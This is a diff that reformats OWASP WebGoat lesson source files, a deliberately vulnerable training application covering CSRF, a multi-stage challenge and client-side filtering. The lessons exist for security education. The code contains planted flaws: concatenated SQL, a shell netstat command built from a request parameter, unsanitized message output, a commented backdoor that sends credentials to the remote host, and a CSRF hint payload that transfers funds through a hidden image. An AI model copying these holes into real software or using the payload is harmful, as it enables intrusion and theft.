* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
* @return Description of the Return Value
*/ */
public Element makeList( WebSession s ) public Element makeList(WebSession s)
{ {
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try try
{ {
Connection connection = DatabaseUtilities.getConnection( s ); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" ); ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ getNameroot(s.getUserName()) + "%'");
if ( ( results != null ) && ( results.first() == true ) ) if ((results != null) && (results.first() == true))
{ {
results.beforeFirst(); results.beforeFirst();
for ( int i = 0; results.next(); i++ ) for (int i = 0; results.next(); i++)
{ {
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt( NUM_COL ) + String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt(NUM_COL)
"' style='cursor:hand'>" + results.getString( TITLE_COL ) + "</a>"; + "' style='cursor:hand'>" + results.getString(TITLE_COL) + "</a>";
TD td = new TD().addElement( link ); TD td = new TD().addElement(link);
TR tr = new TR().addElement( td ); TR tr = new TR().addElement(td);
t.addElement( tr ); t.addElement(tr);
} }
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error while getting message list." ); s.setMessage("Error while getting message list.");
} }
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement( new H1( "Message List" ) ); ec.addElement(new H1("Message List"));
ec.addElement( t ); ec.addElement(t);
String transferFunds = s.getParser().getRawParameter("transferFunds" , ""); String transferFunds = s.getParser().getRawParameter("transferFunds", "");
if (transferFunds.length() != 0) if (transferFunds.length() != 0)
{ {
makeSuccess(s); makeSuccess(s);
} }
return (ec);
return ( ec );
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
* @return Description of the Return Value
*/ */
protected Element makeCurrent( WebSession s ) protected Element makeCurrent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
int messageNum = s.getParser().getIntParameter( NUMBER, 0 ); int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection( s ); Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
statement.setString(1, getNameroot( s.getUserName() ) + "%"); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum); statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ( ( results != null ) && results.first() ) if ((results != null) && results.first())
{ {
ec.addElement( new H1( "Message Contents For: " + results.getString( TITLE_COL )) ); ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR( new TD( new B(new StringElement( "Title:" )) ) ); TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement( new TD( new StringElement( results.getString( TITLE_COL ) ) ) ); row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement( row1 ); t.addElement(row1);
String messageData = results.getString( MESSAGE_COL ); String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR( new TD( new B(new StringElement( "Message:" )) ) ); TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement( new TD( new StringElement( messageData ) ) ); row2.addElement(new TD(new StringElement(messageData)));
t.addElement( row2 ); t.addElement(row2);
TR row3 = new TR( new TD( new StringElement( "Posted By:" ) ) ); TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement( new TD( new StringElement( results.getString( USER_COL ) ) ) ); row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement( row3 ); t.addElement(row3);
ec.addElement( t ); ec.addElement(t);
} }
else else
{ {
if ( messageNum != 0 ) if (messageNum != 0)
{ {
ec.addElement( new P().addElement( "Could not find message " + messageNum ) ); ec.addElement(new P().addElement("Could not find message " + messageNum));
} }
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error generating " + this.getClass().getName() ); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ( ec ); return (ec);
} }
@Override @Override
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.XSS; return Category.XSS;
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
@Override @Override
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) { protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add( "Enter some text and try to include an image in there." ); hints.add("Enter some text and try to include an image in there.");
hints.add( "In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"." ); hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\".");
hints.add( "The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>"); hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add( "Include this URL in the message <pre>&lt;img src='" + getLink() + hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
"&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>"); + "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints; return hints;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ( "Cross Site Request Forgery (CSRF)" ); return ("Cross Site Request Forgery (CSRF)");
} }
private static String getNameroot( String name ) private static String getNameroot(String name)
{ {
String nameroot = name; String nameroot = name;
if (nameroot.indexOf('-') != -1) if (nameroot.indexOf('-') != -1)
@ -305,9 +315,9 @@ public class CSRF extends LessonAdapter {
return nameroot; return nameroot;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
} }
} }

View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Iterator; import java.util.Iterator;
import java.util.List; import java.util.List;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -16,9 +17,7 @@ import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.StringTokenizer; import java.util.StringTokenizer;
import java.util.Vector; import java.util.Vector;
import javax.servlet.http.Cookie; import javax.servlet.http.Cookie;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -39,32 +38,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec; import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults; import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -195,8 +193,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
s.getResponse().addCookie(newCookie); s.getResponse().addCookie(newCookie);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "") if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)"))
.equals(PROCEED_TO_NEXT_STAGE + "(3)"))
{ {
s.setMessage("Welcome to stage 3 -- deface the site"); s.setMessage("Welcome to stage 3 -- deface the site");
setStage(s, 3); setStage(s, 3);
@ -205,10 +202,10 @@ public class Challenge2Screen extends SequentialLessonAdapter
return doStage3(s); return doStage3(s);
} }
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement3 = connection
ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// pull the USER_COOKIE from the cookies // pull the USER_COOKIE from the cookies
String user = getCookie(s); String user = getCookie(s);
@ -225,48 +222,46 @@ public class Challenge2Screen extends SequentialLessonAdapter
String num = results.getString("cc_number"); String num = results.getString("cc_number");
v.addElement(type + "-" + num); v.addElement(type + "-" + num);
} }
if (v.size() != 13) if (v.size() != 13)
{ {
s.setMessage("Try to get all the credit card numbers"); s.setMessage("Try to get all the credit card numbers");
} }
ec.addElement(buildCart(s)); ec.addElement(buildCart(s));
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setBorder(0).setWidth("90%").setAlign("center");
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("Please select credit card for this purchase: ")); tr.addElement(new TD().addElement("Please select credit card for this purchase: "));
Element p = ECSFactory.makePulldown(CREDIT, v); Element p = ECSFactory.makePulldown(CREDIT, v);
tr.addElement(new TD().addElement(p).setAlign("right")); tr.addElement(new TD().addElement(p).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
Element b = ECSFactory.makeButton("Buy Now!"); Element b = ECSFactory.makeButton("Buy Now!");
tr.addElement(new TD().addElement(b)); tr.addElement(new TD().addElement(b));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
Input input = new Input(Input.HIDDEN, USER, "White"); Input input = new Input(Input.HIDDEN, USER, "White");
ec.addElement(input); ec.addElement(input);
//STAGE 3 BUTTON // STAGE 3 BUTTON
if (v.size() == 13) if (v.size() == 13)
{ {
s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!"); s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!");
ec.addElement(new BR()); ec.addElement(new BR());
//TR inf = new TR(); // TR inf = new TR();
Center center = new Center(); Center center = new Center();
Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)"); Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)");
center.addElement(proceed); center.addElement(proceed);
//inf.addElement(new TD().addElement(proceed).setAlign("center")); // inf.addElement(new TD().addElement(proceed).setAlign("center"));
ec.addElement(center); ec.addElement(center);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("An error occurred in the woods"); s.setMessage("An error occurred in the woods");
} }
@ -294,8 +289,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "") if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)"))
.equals(PROCEED_TO_NEXT_STAGE + "(4)"))
{ {
setStage(s, 4); setStage(s, 4);
// Reset the defaced webpage so the lesson can start over // Reset the defaced webpage so the lesson can start over
@ -309,22 +303,21 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
ec.addElement(new HR()); ec.addElement(new HR());
s.setMessage("CONGRATULATIONS - You have defaced the site!"); s.setMessage("CONGRATULATIONS - You have defaced the site!");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().setAlign("center").addElement( tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s))); tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} else }
else
{ {
// Setup the screen content // Setup the screen content
try try
@ -332,8 +325,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new H1("Current Network Status:")); ec.addElement(new H1("Current Network Status:"));
ec.addElement(netstatResults); ec.addElement(netstatResults);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -342,21 +334,17 @@ public class Challenge2Screen extends SequentialLessonAdapter
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network"))); tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network")));
tr.addElement(new TD().setWidth("35%").addElement( tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
} } catch (Exception e)
catch (Exception e)
{ {
ec.addElement(new P() ec.addElement(new P().addElement("Select a message to read from the Message List below"));
.addElement("Select a message to read from the Message List below"));
} }
ec.addElement(new HR()); ec.addElement(new HR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -377,15 +365,13 @@ public class Challenge2Screen extends SequentialLessonAdapter
try try
{ {
// get current text and compare to the new text // get current text and compare to the new text
String origpath = s.getContext().getRealPath( String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false); String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false); String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false);
defaced = (!origText.equals(defacedText)); defaced = (!origText.equals(defacedText));
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -398,11 +384,10 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// get current text and compare to the new text // get current text and compare to the new text
String origpath = s.getContext().getRealPath( String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false); String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath( String origText = getFileText(new BufferedReader(new FileReader(s.getContext()
WEBGOAT_CHALLENGE_JSP))), false); .getRealPath(WEBGOAT_CHALLENGE_JSP))), false);
// show webgoat.jsp text // show webgoat.jsp text
ec.addElement(new H1().addElement("Original Website Text")); ec.addElement(new H1().addElement("Original Website Text"));
@ -420,8 +405,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
try try
{ {
// get current text and compare to the new text // get current text and compare to the new text
String defacedpath = s.getContext().getRealPath( String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
// replace the defaced text with the original // replace the defaced text with the original
@ -431,8 +415,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
fw.close(); fw.close();
// System.out.println("webgoat_guest replaced: " + getFileText( new // System.out.println("webgoat_guest replaced: " + getFileText( new
// BufferedReader( new FileReader( defacedpath ) ), false ) ); // BufferedReader( new FileReader( defacedpath ) ), false ) );
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -458,9 +441,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Thanks for coming!")); ec.addElement(new H1().addElement("Thanks for coming!"));
ec.addElement(new BR()); ec.addElement(new BR());
ec ec.addElement(new H1()
.addElement(new H1() .addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
.addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
return (ec); return (ec);
} }
@ -525,8 +507,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -534,11 +515,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr tr.addElement(new TH()
.addElement(new TH() .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.addElement( .setColSpan(2).setAlign("left"));
"Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -594,9 +573,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
} }
/** /**
* This is a deliberate 'backdoor' that would send user name and password * This is a deliberate 'backdoor' that would send user name and password back to the remote
* back to the remote host. Obviously, sending the password back to the * host. Obviously, sending the password back to the remote host isn't that useful but... you
* remote host isn't that useful but... you get the idea * get the idea
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
@ -614,8 +593,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
System.out.println(" Sending message to " + sock.getInetAddress()); System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp); sock.send(dp);
sock.close(); sock.close();
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Couldn't phone home"); System.out.println("Couldn't phone home");
e.printStackTrace(); e.printStackTrace();
@ -645,8 +623,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -668,7 +645,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
String cmd = "cmd.exe /c netstat -a -p " + protocol; String cmd = "cmd.exe /c netstat -a -p " + protocol;
er = Exec.execSimple(cmd); er = Exec.execSimple(cmd);
} else }
else
{ {
String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol }; String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol };
er = Exec.execSimple(cmd); er = Exec.execSimple(cmd);
@ -684,7 +662,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
if ((line.indexOf("Proto") != -1)) if ((line.indexOf("Proto") != -1))
{ {
start++; start++;
} else }
else
{ {
line = lines.nextToken(); line = lines.nextToken();
} }
@ -740,8 +719,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream()); OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream());
osw.write(message); osw.write(message);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Couldn't write " + message + " to " + s); System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace(); e.printStackTrace();
@ -754,8 +732,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -778,8 +755,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign( t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
@ -815,10 +791,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
for (int i = 0; i < cookies.length; i++) for (int i = 0; i < cookies.length; i++)
{ {
if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); }
{
return (cookies[i].getValue());
}
} }
return (null); return (null);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.ClientSideFiltering; package org.owasp.webgoat.lessons.ClientSideFiltering;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException; import java.io.IOException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -28,26 +28,30 @@ import org.owasp.webgoat.lessons.SequentialLessonAdapter;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public class ClientSideFiltering extends SequentialLessonAdapter {
public class ClientSideFiltering extends SequentialLessonAdapter
{
private final static String ANSWER = "answer"; private final static String ANSWER = "answer";
public final static A ASPECT_LOGO = new A().setHref( public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
"http://www.aspectsecurity.com").addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security") new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setBorder(0).setHspace(0).setVspace(0)); .setVspace(0));
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element createMainContent(WebSession s) { protected Element createMainContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script() ec.addElement(new Script().setSrc("javascript/clientSideFiltering.js"));
.setSrc("javascript/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102); Input input = new Input(Input.HIDDEN, "userID", 102);
@ -56,12 +60,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(input); ec.addElement(input);
style sty = new style(); style sty = new style();
sty sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
.addElement("#lesson_wrapper {height: 435px;width: 500px;}" + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
+ ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
+ "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
ec.addElement(sty); ec.addElement(sty);
@ -82,23 +85,20 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new P() workspaceDiv.addElement(new P().addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
.addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(createDropDown()); workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P()); workspaceDiv.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords"); t.setID("hiddenEmployeeRecords");
t.setStyle("display: none"); t.setStyle("display: none");
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
